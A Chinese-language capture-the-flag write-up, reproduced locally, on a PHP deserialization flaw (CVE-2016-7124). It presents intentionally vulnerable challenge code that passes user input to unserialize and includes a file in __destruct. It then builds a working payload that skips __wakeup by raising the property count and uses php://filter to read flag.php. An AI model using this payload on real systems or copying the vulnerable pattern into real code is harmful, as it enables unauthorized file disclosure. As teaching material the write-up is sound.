我认为,无论是学习安全还是从事安全的人,多多少少都会有些许的情怀和使命感!!!
文章目录
PHP反序列化漏洞
level2-[本地复现]-[越过wakeup]-[CVE-2016-7124]
1.题目描述
<?php
include "flag.php";
class Connection
{
public $file;
public function __construct($file)
{
$this->file = $file;
}
public function __sleep()
{
$this->file = 'sleep.txt';
return array('file');
}
public function __wakeup()
{
$this->file = 'wakeup.txt';
}
public function __destruct()
{
include($this->file);
}
}
if (isset($_GET['un'])) {
$obj2 = unserialize($_GET['un']);
} else {
highlight_file(__file__);
}
2.代码审计
通读代码:
<?php
include "flag.php"; // 文件包含flag.php,提示我们flag值存在于flag.php页面内,推测是注释内容
class Connection // 定义一个以Connection为名的类
{
public $file; // 定义一个以file为名的公有属性
public function __construct($file) // 定义一个以file为参数的公有构造方法
{ // 构造方法:当前类的实例化对象被创建的时候,自动被调用
$this->file = $file; // 给属性file赋值传来的参数
}
public function __sleep() // 定义一个公有的魔术方法__sleep()
{ // __sleep():当前类的实例化对象被序列化的时候,自动被调用
$this->file = 'sleep.txt'; // 给属性file赋值sleep.txt
return array('file'); // 返回数组
}
public function __wakeup() // 定义一个公有的魔术方法__wakeup()
{ // __wakeup():当前类的实例化对象被反序列化的时自动被调用
$this->file = 'wakeup.txt'; // 给属性file赋值wakeup.txt
}
public function __destruct() // 定义一个公有的析构方法__destruct()
{ // __destruct():当前类的实例化对象被销毁的时候自动被调用
include($this->file); // 文件包含以file属性值为名的文件
}
}
if (isset($_GET['un'])) { // 判断是否以GET形式提交了un参数,参数值是否为NULL
$obj2 = unserialize($_GET['un']); // 若提交了参数且不为NULL,则反序列化该参数,赋值给obj2
} else { // 否则,高亮显示源码
highlight_file(__file__);
}
分析所得:
- flag值存在于:flag.php文件的注释中
- 后台存在反序列化函数
- 后台存在不正当使用魔术方法的行为
- 后台存在文件包含
- 用户对传入的反序列化内容可控
注意:以上的代码中,只有三个魔术方法起到了作用,__sleep()魔术方法没有多大用处
3.解题过程
第一步:分析流程
- 要想得到flag,就要读取flag.php页面的源码
- 要想读取flag.php页面的源码,就要利用php://filter伪协议文件包含flag.php
- 想要文件包含flag.php,就要执行析构方法且file属性的值为php://filter/convert.base64-encode/resource=flag.php
- 想要执行析构方法,创建一个当前类的实例化对象(通俗的说就是new一个对象)且等待php脚本执行完毕后自动销毁该对象(毕竟后台没有unset手动销毁嘛)
- 想要file的属性为php://filter/convert.base64-encode/resource=flag.php,就要越过__wakeup()魔术方法(因为我们一旦传入序列化字符串,在反序列化的时候该方法会自动被调用,从而使我们传入的序列化字符串中的属性file值变成wakeup.txt)
- 想要绕过__wakeup()魔术方法对file属性的赋值,我们可以在对我们传入的序列化字符串中,把对象的属性个数调大即可(CVE-2016-7124)
- CVE-2016-7124的满足条件:PHP5 < 5.6.25、PHP7 < 7.0.10
- CVE-2016-7124的漏洞原理:通俗的说就是若当前对象的序列化字符串中的属性个数值大于真是个数,则会跳过__wakeup()魔术方法不执行该方法
第二步:根据以上步骤构造payload
<?php
class Connection
{
public $file;
public function __construct($file)
{
$this->file = $file;
}
}
$chen = new Connection('php://filter/convert.base64-encode/resource=flag.php');
echo serialize($chen);
//O:10:"Connection":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}
因此,payload如下所示:
?un=O:10:"Connection":2:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}
第三步:传入payload,发现本地环境的php版本不符合
第四步:修改本地的版本为5.5.38,重新传入payload,得到flag.php页面源码
第五步:解码源码,得到flag值
源码:
PD9waHANCi8vZmxhZ3szYThhMGUzNGI1YzY1NzdlZDU0ZGE2MjViMjkyZmNhM30NCg==
flag值:
<?php
//flag{3a8a0e34b5c6577ed54da625b292fca3}
4.总结
CVE-2016-7124漏洞原理:通俗的说就是,在当前类的实例化对象的序列化字符串中,若属性个数大于真实属性个数(不能修改的太大,不然依旧执行wakeup魔术方法),就会越过__wakeup()魔术方法,不执行该魔术方法。